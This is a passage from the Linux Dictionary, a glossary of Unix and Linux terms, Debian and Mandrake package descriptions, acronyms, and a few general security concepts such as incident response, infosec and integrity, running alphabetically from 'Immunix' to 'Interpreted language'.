WireX provides Immunix System 7 a secured Red Hat 7.0 distribution with StackGuard 2.0, FormatGuard 1.0, SubDomain 1.0 and a suite of application-level security tools. A Red Hat 6.2 version is also available. Immunix Secured Linux 7+ was released March 18, 2003. A 'secured' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMNSCO

IMP

Interface Message Processors (ARPANET, MILNET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imp

Web Based IMAP Mail Program. A set of PHP3 scripts that implement an IMAP based webmail system. Assuming you have an account on a server that supports IMAP, you can theoretically use an installation of IMP to check your mail from anywhere that you have web access. IMP does not require an IMAP server to be running on the machine you install it on unless you are intending to have it use the current machine for it's IMAP connections. (If you are connecting to a remote server for your mail than you don't need IMAP) IMP requires a database to be running if you want to use the extended features such as the addressbook, and preferences. It currently uses PHPLib for the database interface so as long as PHPLib supports your database of choice your good to go. This package is designed to support PostgreSQL and MySQL directly. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMPACT

Information Market Policy ACTions (ECHO) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

impress

WYSIWYG Publishing & Presentation for use With/without Web browser Impress is a WYSIWYG layout program designed especially for Linux. It allows you to create presentations and Postscript documents using fully scalable graphics similar to programs like Macromedia Freehand, Corel Draw, Adobe Illustrator and Visio. It is different from raster graphic packages like gimp, Adobe PhotoShop and Jasc's PaintShop Pro in that it deals with graphical objects which can be manipulated on a canvas rather than just layers of paint. For more information: <http://www.ntlug.org/~ccox/impress/index.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imwheel

Program to support the "wheel" on some new mice Various new mice, including the Microsoft IntelliMouse, and the Logitech MouseMan+, Wheel Mouse, and others, now have a "wheel" button in the middle of them. This wheel button acts both as a standard button (by pressing it), and a wheel, which under MS Windows may be used for scrolling windows around. This program supports the wheel scrolling operation by one of two means: 1. Some newer X servers support mapping the wheel to buttons 4 and 5, which imwheel then captures and supports, 2. Using a patched version of gpm, the normal mouse events are passed on to the X server through /dev/gpmdata (gpm's standard "repeater" mode), and in addition wheel events are sent to another pipe, /dev/gpmwheel. imwheel picks up these events, and translates them. From Debian 3.0r0 APT

incident

A single measured cyber-attack. The problem with "incidents" is that it is often hard to quantify exactly what is going on. Sometimes "incidents" are detected that are actually due to networking anomalies that have nothing to do with hacking. Therefore, an "incident" starts life when something is detected. As time goes on, the incident will be updated with more information, such as grouping together related attacks. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

incident team

A team within a company who is responsible for responding to cyber-attacks. Key point: The following are useful resources to such a team: CERT (Computer Emergency Response Team) The oldest incident organization, established in response to the Morris Worm. CIAC (Computer Incident Advisory Capability) Organization similar to CERT setup by the U.S. DoE (Department of Energy). <http://www.securityfocus.com/> They have an INCIDENTS mailing list companion to their BUGTRAQ mailing list where people discuss incidents they've seen. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inetd

Berkeley daemon program that listens for connection requests or messages for certain ports and starts server programs to perform the services associated with those ports. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inetd

internet super-server From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inetd

The subsystem in UNIX responsible for starting most of the network services. This program works from the principle that one service can listen for incoming traffic on a socket, and when such traffic appears, it can launch the appropriate service to handle it. This allows a single box to support many services without actually having them all run at the same time. The file /etc/inetd.conf configures this service. Key point: A common backdoor technique is to place a root shell program in inetd.conf. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inews

A replacement for the C News inews program. This package contains a feature-enhanced and faster version of inews, written in Perl. It replaces the inews provided by C News. New features include MIME encoding and header syntax checks. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inewsinn

NNTP client news injector, from InterNetNews (INN). `inews' is the program that newsreaders call when the user wishes to post an article; it does a few elementary checks and passes the article on to the news server for posting. This version is the one from Rich Salz's InterNetNews news transport system (which is also available as a Debian package). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Infection

The presence of a virus within a computer system or on a disk. The infection may not be obvious to the user; many viruses for example, remain in the background until a specific time and date, when they display prank messages or erase data. See Trojan horse and worm. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

info

Standalone GNU Info documentation browser The Info file format is an easily-parsable representation for online documents. This program allows you to view Info documents, like the ones stored in /usr/share/info. Much of the software in Debian comes with its online documentation in the form of Info files, so it is most likely you will want to install it. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

info

The GNU project uses the texinfo file format for much of its documentation. The info package provides a standalone TTY-based browser program for viewing texinfo files. You should install info, because GNU's texinfo documentation is a valuable source of information about the software on your system. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

info page

Info pages give detailed information about a command or file (man pages tend to be brief and provide less explanation than info pages). Info pages are interactive with a navigable menu system. Access an

Linux Dictionary

info page with the info command. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

info2www

Read info files with a WWW browser info2www lets you read info files with a WWW browser. It requires a HTTP server with CGI support. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Infobot (or mailbot)

An email address that automatically returns information requested by the user. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

infobrowser

read Info documents From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

infocmp

compare or print out terminfo descriptions From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inform-mode

Emacs mode for editing Inform files This is an (X)Emacs mode for editing Inform source code. Inform source is used when writing games for the Z-Code virtual machine (aka Infocom). This package will add an editing mode to your favorite Emacsen for editing these files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INFOSEC (Information Security)

Contrast: The term "information security" distinguishes itself from "physical security". Key point: A common model used to describe security is the OSI/ISO/IEC 10181 standard. It breaks down infosec into the following areas: authentication Where people have to prove who they are. access control Where people are allowed to access computers or files. non-repudiation Making sure that both sides of a transaction cannot later deny the transaction took place. (antonym: repudiation/renounce/reject) confidentiality Prevent unauthorized disclosure of information. (antonym: disclosure) integrity Making sure that things cannot be corrupted. (antonym: corruption, tampering). audits and alarms Track what is happening. availability (antonym: Denial-of-Service) accountability Making sure that people can be held responsible for their actions. (antonym: anonymity). This includes finding out who violated security policies, as well as simple things as charging departments for their use of network resources. Key point: The most common threats are: disclosure Information was leaked to an unauthorized person. integrity violation Data was altered, such as an account balance that was changed. masquerading/forgery Somebody pretends to be somebody else, or generates a message pretending to be from somebody else. denial-of-service insider attacks From people you trust. backdoors/trojans Key point: The fields of infosec and hacking are not necessarily related. This is a little confusing. Infosec is the field of assuring that information is secure. Hacking is the field of breaking rules. For example, following infosec best practices, you can validate that a server is secure, data is encrypted, and that only authenticated users can gain access. However, a hacker executing a buffer overflow exploit gains access bypassing all the security measures. Contrast: The military has a number of terms related to INFOSEC. They include: COMSEC – communications security Describes the procedures designed to secure communications from the enemy. The antonym is COMINT. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

infotocap

convert a terminfo description into a termcap description From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ingerman

New German orthography dictionary for ispell This is a dictionary for ispell for the new German orthography. It is based on the famous hkgerman dictionary (using the old German orthography) which was put together by Heinz Knutzen and is available as the Debian package igerman. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INGRES

INteractive Graphic RETrieval System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INHOPE

INternet HOtline Providers in Europe (org., ISP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inimf

Metafont, a language for font and logo design From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inimpost

MetaPost, a system for drawing pictures From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iniomega

extended unicode TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

init

'init' process is the first user level process started by the kernel. init has many important duties, such as starting getty (so that users can log in), implementing run levels, and taking care of orphaned processes. This chapter explains how init is configured and how you can make use of the different run levels. init is one of those programs that are absolutely essential to the operation of a Linux system, but that you still can mostly ignore. Usually, you only need to worry about init if you hook up serial terminals, dial-in (not dial-out) modems, or if you want to change the default run level. When the kernel has started (has been loaded into memory, has started running, and has initialized all device drivers and data structures and such), it finishes its own part of the boot process by starting a user level program, init. Thus, init is always the first process (its process number is always 1). The kernel looks for init in a few locations that have been historically used for it, but the proper location for it is /sbin/init. If the kernel can't find init, it tries to run /bin/sh, and if that also fails, the startup of the system fails. When init starts, it completes the boot process by doing a number of administrative tasks, such as checking filesystems, cleaning up /tmp, starting various services, and starting a getty for each terminal and virtual console where users should be able to log in. After the system is properly up, init restarts getty for each terminal after a user has logged out (so that the next user can log in). init also adopts orphan processes: when a process starts a child process and dies before its child, the child immediately becomes a child of init. This is important for various technical reasons, but it is good to know it, since it makes it easier to understand process lists and process tree graphs. init itself is not allowed to die. You can't kill init even with SIGKILL. There are a few variants of init available. Most Linux distributions use sysvinit (written by Miquel van Smoorenburg), which is based on the System V init design. The BSD versions of Unix have a different init. The primary difference is run levels: System V has them, BSD doesn't. From Linux Administrator's Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

init

process control initialization From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Init

The first process to run after the system boots and always has a process id of 1. It is responsible for starting the system in single user mode or spawning a shell to read the startup files. It opens ports that are designated as login ports and spawns getty processes for each on. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Init

The first process to run immediately after the operating system loads. It starts the system in single-user mode or spawns a shell to read the startup files, and opens ports designated as login ports. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

init script

Shorthand for initialization script, scripts that are typically run at system boot time. Most start services and set initial system parameters. Init scripts can also be controlled by administrators to start at a specified runlevel. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

initex

text formatting and typesetting From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Initialise

To prepare hardware or software to perform a task a serial port is initialised using the MODE command to set the baud, parity, data, and stop bit values, for example. In some programs, initialising can be setting a counter or variable to zero before running a procedure. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

initscripts

The initscripts package contains the basic system scripts used to boot your Mandrake Linux system, change run levels, and shut the system down cleanly. Initscripts also contains the scripts that activate and deactivate most network interfaces. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

initz

Handles the switching of various initialization files of emacs. Initz handles the switching of various startup initialization files of emacs provided for various environment. According to the environment (maybe emacs version, OS type or OS versions) Initz reads appropriate init files provided by the user in several directories, one for one environment. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inkjet

A type of printer which uses water-based inks that spray through tiny nozzles onto the printing surface. Inkjet printers are popular for their low cost and high image output quality. From

Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INL

Inter Node Link From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INMS

Integrated Network Management System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INN

Inter Node Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inn

News transport system `InterNetNews' by the ISC and Rich Salz This is INN version 1.X, provided for sites which are not ready to upgrade to 2.X yet. New installations of INN should use Debian's inn2 package instead. The news transport is the part of the system that stores the articles and the lists of which groups are available and so on, and provides those articles on request to users. It receives news (either posted locally or from a newsfeed site), files it, and passes it on to any downstream sites. Each article is kept for a period of time and then deleted (this is known as `expiry'). By default Debian's INN will install in a fairly simple `local-only' configuration. In order to make use of the services provided by INN you'll have to use a user-level newsreader program such as trn. The newsreader is the program that fetches articles from the server and shows them to the user, remembering which the user has seen so that they don't get shown again. It also provides the posting interface for the user. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inn2

News transport system `InterNetNews' by the ISC and Rich Salz This package provides INN 2.X, which is Debian's preferred news transport system for new installations. The 'inn' package still exists for sites running INN 1.X who are not prepared to upgrade yet. The news transport is the part of the system that stores the articles and the lists of which groups are available and so on, and provides those

articles on request to users. It receives news (either posted locally or from a newsfeed site), files it, and passes it on to any downstream sites. Each article is kept for a period of time and then deleted (this is known as `expiry'). By default Debian's INN will install in a fairly simple `local-only' configuration. In order to make use of the services provided by INN you'll have to use a user-level newsreader program such as trn. The newsreader is the program that fetches articles from the server and shows them to the user, remembering which the user has seen so that they don't get shown again. It also provides the posting interface for the user. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INNC

International Neural Network Conference (INNS, conference, NN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

innfeed

This is the INN feeder program `innfeed.' This is a program that sends a newsfeed to one or more remote hosts through NNTP. It can handle multiple connections to multiple remote hosts. It is an alternative to `nntplink' (of which there is no Debian package) or the inn-provided `send-nntp' (which is slow). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

innominate Bootable Business Card

A bootable rescue disc on a business card sized CD. Web site in German. A CD-based distribution.

From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

innovation3d

Extensible 3d modeler Innovation3D or shorthand I3D is a 3d modeling program. Besides basic polygonal modeling and support for model animation, it also features support for NURBS curves and surfaces. Innovation3D has an extensible design with the help of plugins. These plugins allow for support of a variety of file formats or may even extend the functionality of Innovation3D. A set of plugins is already available in the innovation3d-plugins package. If you would like to develop more plugins yourself, you should install the innovation3d-dev package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INNS

International Neural Network Society (org., AI, NN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INOC

Internet Network Operations Center From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inode

A data structure holding information about files in a Unix file system. There is an inode for each file and a file is uniquely identified by the file system on which it resides and its inode number on that system. Each inode contains the following information: the device where the inode resides, locking information, mode and type of file, the number of links to the file, the owner's user and group ids, the number of bytes in the file, access and modification times, the time the inode itself was last modified and the addresses of the file's blocks on disk. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inode

An inode is the address of a disk block. When you see the inode information through ls, ls prints the address of the first block in the file. You can use this information to tell if two files are really the same file with different names (links). A file has several components: a name, contents, and administrative information such as permissions and modification times. The administrative information is stored in the inode (over the years, the hyphen fell out of "i-node"), along with essential system data such as how long it is, where on the disc the contents of the file are stored, and so on. There are three times in the inode: the time that the contents of the file were last modified (written); the time that the file was last used (read or executed); and the time that the inode itself was last changed, for example to set the

permissions. Altering the contents of the file does not affect its usage time and changing the permissions affects only the inode change time. It is important to understand inodes, not only to appreciate the options on ls, but because in a strong sense the inodes are the files. All the directory hierarchy does is provide convenient names for files. The system's internal name for the file is its i-number: the number of the inode holding the file's information. From UNIX Programming Environment <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inode

Data structure that contain information about files in a UNIX or UNIX-compatible file system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inode number

a unique number associated with each filename. This number is used to look up an entry in the inode table which gives information on the type, size, and location of the file and the userid of the owner of the file. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inorwegian

The Norwegian dictionary for ispell This is the Norwegian dictionary, to be used with ispell to check and correct spelling in Norwegian texts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INPOL

INformationssystem der POLizei From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

input

Data entered into a computer system to be processed by a program. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Input/output (I/O) redirection

In DOS and UNIX, the routing of a program's output to a file or device, or the routing of a program's input from a file rather than the keyboard. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INRIA

Institut National de Recherche en Informatique et Automatique (org., France) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

insert mode

In vi, the mode that allows you to type new text in front of existing text in a file; terminate this mode by pressing ESC. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

insight

Graphical debugger based on gdb Insight is a tight graphical user interface to gdb written in Tcl/Tk. It provides a comprehensive interface that enables users to harness most of gdb's power. It's also probably the only up-to-date UI for gdb version 5.0 From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INSITS

INternational Symposium on IT Standardization (conference, IFIP, GI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

insmod

install loadable kernel module 0 From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INST

INformation Standards and technology Standardization From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

install

copy files and set attributes From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INSTALL file

This is a standard document beginning with the line `` These are generic installation instructions." Since all GNU packages are installed in the same way, this file should always be the same. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

install-info

create or update entry in Info directory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

install-keymap

expand a given keymap and install it as boot-time keymap From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

install-mbr

install a Master Boot Record manager From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

install-menu

Used internally by the Debian menu system. It is a program to facilitate the generate the menu-related startup files for the various window managers etc. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

install-sgmlcatalog

create or update entry in SGML catalog file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

installfest

[Linux community since c.1998] Common portmanteau word for "installation festival"; Linux user groups frequently run these. Computer users are invited to bring their machines to have Linux installed on their machines. The idea is to get them painlessly over the biggest hump in migrating to Linux, which is initially installing and configuring it for the user's machine. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

installkernel

install a new kernel image From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

installwatch

Track installation of local software Installwatch is used to track the changes made during the installation of local (i.e. non-deb) software. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Institute of Electrical and Electronics Engineers (IEEE)

A worldwide professional association for electrical and electronics engineers, which sets standards for telecommunications and computing applications. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INTA

International Trademark Association (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INTAP

Interoperability Technology Association for Information Processing (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

integrated

Two or more commonly separate components, objects, or applications that are developed to work together. For example, a word processing application and a spreadsheet that are designed such that files and objects from one application can be used in the other application are integrated. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Integrated Device Electronics (IDE)

Interface for connecting additional multiple storage drives to a computer system. For example, some hard drives and CD-ROM drives that have integrated device controllers attach to IDE connectors. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

integrit

A file integrity verification program like tripwire Integrit helps you determine whether an intruder has modified your system. Without the use of integrit, a sysadmin wouldn't know if the programs used for investigating the system are trojan horses or not. Integrit works by creating a database that is a snapshot of the most essential parts of the system. You put the database somewhere safe, and then later you can use it to make sure that noone has made any illicit modifications to your system. Integrit's key features are the small memory footprint, the design with unattended use in mind, intuitive cascading rulesets for the paths listed in the configuration file, the possibility of XML or human-readable output and simultaneous check and update. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

integrit

One of the major areas of infosec, integrity is the area concerned with making sure that messages/information are "correct" and haven't been subtly changed or tampered with by an adversary. Analogy: We write the dollar amount on personal checks both as numbers as well as words. This prevents somebody from altering the value, such as adding an extra digit to the number in order to extract \$1000 from you rather than the authorized \$100. Key point: We use cryptographic hashes as a way of fingerprinting documents and detecting when they are changed. The two most popular hashes are SHA-1 and MD5. Key point: Typical attacks against integrity include modification, insertion, deletion, and replay of information. Contrast: The terms integrity and authenticity are widely used to mean the same thing. In other situations, they have subtly different meanings (especially law). The term integrity generally describes defenses against malicious alteration of a message once it has been sent, whereas authenticity also implies some validation of the sender of the message to protect against forgeries. Contrast: Another way looking at integrity is system integrity. The concern is maintaining the integrity of the computer itself, rather than a message that goes across the wire. In this context, the goals are to prevent files from being modified or programs from being installed on the system. One of the focuses of system integrity is making sure that legitimate, authorized users do not make unauthorized modifications to the system. Programs like tripwire check the integrity of systems by maintaining a table of hashes for all files, and detecting which files change. See also: Integrity is often mentioned along with other key security concepts such as confidentiality, authentication, and non-repudiation. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INTEL

INtegriertes TEileLogistiksystem (MBAG) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intel-rng-tools

Daemon to use the RNG on i810 motherboards This daemon feeds data from a random number generator to the kernel's random number entropy pool, after first checking the data to ensure that it is properly random. The i810_rng kernel module is required to use this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intel2gas

A converter from NASM assembly language to GAS Intel2GAS is a converter that will convert assembler source files written for NASM to files that can be assembled using the GNU Assembler (GAS), on the i386 platform. It provides support for basic MMX instructions as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

interactive logon (network logon)

Microsoft Windows has two distinctive ways of logging onto a machine. An interactive logon is where you log onto your machine locally (sitting in front of it), whereas a network logon is the process of connecting to the file server remotely across the network. Normally, both logons happen simultaneously after entering the username/password only once, so users typically don't perceive much difference between the two logons. Key point: Network logons can be disabled for administrators. This prevents people from stealing passwords and remotely administering the machine. This makes security easier because the server can be controlled via physical security.

Contrast: Unix has similar concepts. A local logon is through the "console". Often, root access will be denied to remote logons. Both Windows and Unix have the concept of remotely logging on via one user account, then using that account to locally upgrade to root/administrator. From Hacking–Lexicon
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Interactive Media

Frequency assignment that allows for a two–way interaction or exchange of information. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

interactive processing

Performance of tasks on a computer system that involves continual exchange of information between the computer and a user; the opposite of batch processing. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

intercal

ick – Compiler for the Intercal language This package is an implementation of the language INTERCAL, legendary for its perversity and horribleness, designed by Don Woods and James Lyon, who have since spent more than twenty years trying to live it down. This version adds COME FROM for extra flavor. Comes with language manual and examples including possibly the entire extant body of INTERCAL code. This implementation was created by Eric S. Raymond during a fit of lunacy from which he has since mostly recovered. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

interchange

e–commerce and general HTTP database display system Interchange is a database access and retrieval system focused on e–commerce. It allows customers to select items to buy from catalog pages. The program tracks user information in sessions and interacts with a HTTP server through sockets. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

interchange–cat–foundation

Foundation Store, a sample Interchange catalog The Foundation store is a demo catalog which you can use to build your Interchange applications from. While the Foundation store is designed to be relatively easy to start with, it is still a full–featured demonstration of a number of Interchange capabilities. Once you understand the Foundation store and how it works you are well on your way to understanding the Interchange software. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

interchange–ui

Interchange administration interface (UI) With the Interchange administration interface, called UI, you are able to perform several useful operations like page edit, user's administration and view reports on an Interchange catalog. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

International Organization for Standardization (ISO)

A voluntary organization responsible for creating international standards for computers, telecommunications, and other technologies. From Redhat–9–Glossary
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Internet

A loose confederation of networks around the world, the networks that make up the Internet are connected through several backbone networks. The Internet grew out of the U.S. Government ARPAnet project, and is specifically designed to have no central governing authority or 'root', node. From KADOWKEV <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Internet

A worldwide network of networks. It is also the network of networks that connects more than three million computers (called hosts). The Internet is the virtual space in which users send and receive email, login to remote computers (telnet), browse databases of information (gopher, World Wide Web, WAIS), and send and receive programs (ftp) contained on these computers. From Glossary of

Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet

n. The mother of all networks. First incarnated beginning in 1969 as the ARPANET, a U.S. Department of Defense research testbed. Though it has been widely believed that the goal was to develop a network architecture for military command-and-control that could survive disruptions up to and including nuclear war, this is a myth; in fact, ARPANET was conceived from the start as a way to get most economical use out of then-scarce large-computer resources. As originally imagined, ARPANET's major use would have been to support what is now called remote login and more sophisticated forms of distributed computing, but the infant technology of electronic mail quickly grew to dominate actual usage. Universities, research labs and defense contractors early discovered the Internet's potential as a medium of communication between humans and linked up in steadily increasing numbers, connecting together a quirky mix of academics, techies, hippies, SF fans, hackers, and anarchists. The roots of this lexicon lie in those early years. Over the next quarter-century the Internet evolved in many ways. The typical machine/OS combination moved from DEC PDP-10s and PDP-20s, running TOPS-10 and TOPS-20, to PDP-11s and VAXes and Suns running Unix, and in the 1990s to Unix on Intel microcomputers. The Internet's protocols grew more capable, most notably in the move from NCP/IP to TCP/IP in 1982 and the implementation of Domain Name Service in 1983. It was around this time that people began referring to the collection of interconnected networks with ARPANET at its core as "the Internet". The ARPANET had a fairly strict set of participation guidelines – connected institutions had to be involved with a DOD-related research project. By the mid-80s, many of the organizations clamoring to join didn't fit this profile. In 1986, the National Science Foundation built NSFnet to open up access to its five regional supercomputing centers; NSFnet became the backbone of the Internet, replacing the original ARPANET pipes (which were formally shut down in 1990). Between 1990 and late 1994 the pieces of NSFnet were sold to major telecommunications companies until the Internet backbone had gone completely commercial. That year, 1994, was also the year the mainstream culture discovered the Internet. Once again, the killer app was not the anticipated one – rather, what caught the public imagination was the hypertext and multimedia features of the World Wide Web. Subsequently the Internet has seen off its only serious challenger (the OSI protocol stack favored by European telecom monopolies) and is in the process of absorbing into itself many of the proprietary networks built during the second wave of wide-area networking after 1980. It is now (1996) a commonplace even in mainstream media to predict that a globally-extended Internet will become the key unifying communications technology of the next century. See also the network and Internet address. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

internet (Lower case i)

Any time you connect 2 or more networks together, you have an internet – as in inter-national or inter-state. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet (Upper case I)

The vast collection of inter-connected networks that are connected using the TCP/IP protocols and that evolved from the ARPANET of the late 60's and early 70's. The Internet connects tens of thousands of independent networks into a vast global internet and is probably the largest Wide Area Network in the world. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet account

Purchased through an Internet service provider, the account assigns a password and email address to an individual or group allowing access to the Internet. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet Engineering Task Force (IETF)

An industry standards body that governs and oversees Internet research and protocols. The organization is open to individuals, government representatives, and private interests. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet Message Access Protocol (IMAP)

Industry standard email retrieval and storage protocol. IMAP servers store email messages that users access and read on the server, as opposed to downloading all messages using the post office protocol (POP). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet Protocol (IP)

The protocol used to route a data packet from its source to its destination via the Internet. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet Protocol Security (IPSec)

Collection of protocols overseen and approved by the Internet Engineering Task Force (IETF) for the secure transmission of data over the Internet. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet Relay Chat (IRC)

Real-time internet messaging system that links disparate users internationally. IRC users connect to central servers and join channels of various subjects. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet server

A computer that stores data that can be accessed via the Internet. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internet site

A computer connected to the Internet containing information that can be accessed using an Internet navigation tool such as ftp, telnet, gopher, or a Web browser. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

INTERNIC

Inter Network Information Center (org., Internet), "InterNIC" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Internic

The Internic provides the primary directory and registration services for the American part of the Internet. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Interpreted language

